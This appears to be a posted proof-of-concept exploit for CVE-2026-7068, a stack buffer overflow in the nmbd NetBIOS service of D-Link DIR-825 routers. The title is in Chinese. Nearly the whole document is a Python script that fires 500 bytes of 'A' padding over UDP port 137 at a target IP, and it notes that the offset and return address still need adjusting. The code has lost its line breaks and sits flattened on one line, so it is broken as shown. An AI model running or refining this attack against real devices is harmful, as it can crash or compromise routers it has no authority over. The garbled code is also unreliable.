CVE-2026-7068 D-Link DIR-825缓冲区溢出漏洞

import socket # PoC for CVE-2026-7068 # Target: D-Link DIR-825 3.00b32 # Component: nmbd (NetBIOS Name Service) # Vulnerability: Stack-based Buffer Overflow in NMBD_process def send_exploit(target_ip, target_port=137): # Payload structure: NetBIOS Datagram Service / Name Service # Padding 'A's to trigger the buffer overflow in NMBD_process # Note: Offset and return address need to be adjusted based on specific firmware analysis overflow_size = 500 # Example size payload = b'A' * overflow_size try: print(f"[*] Sending payload to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP send_exploit(target)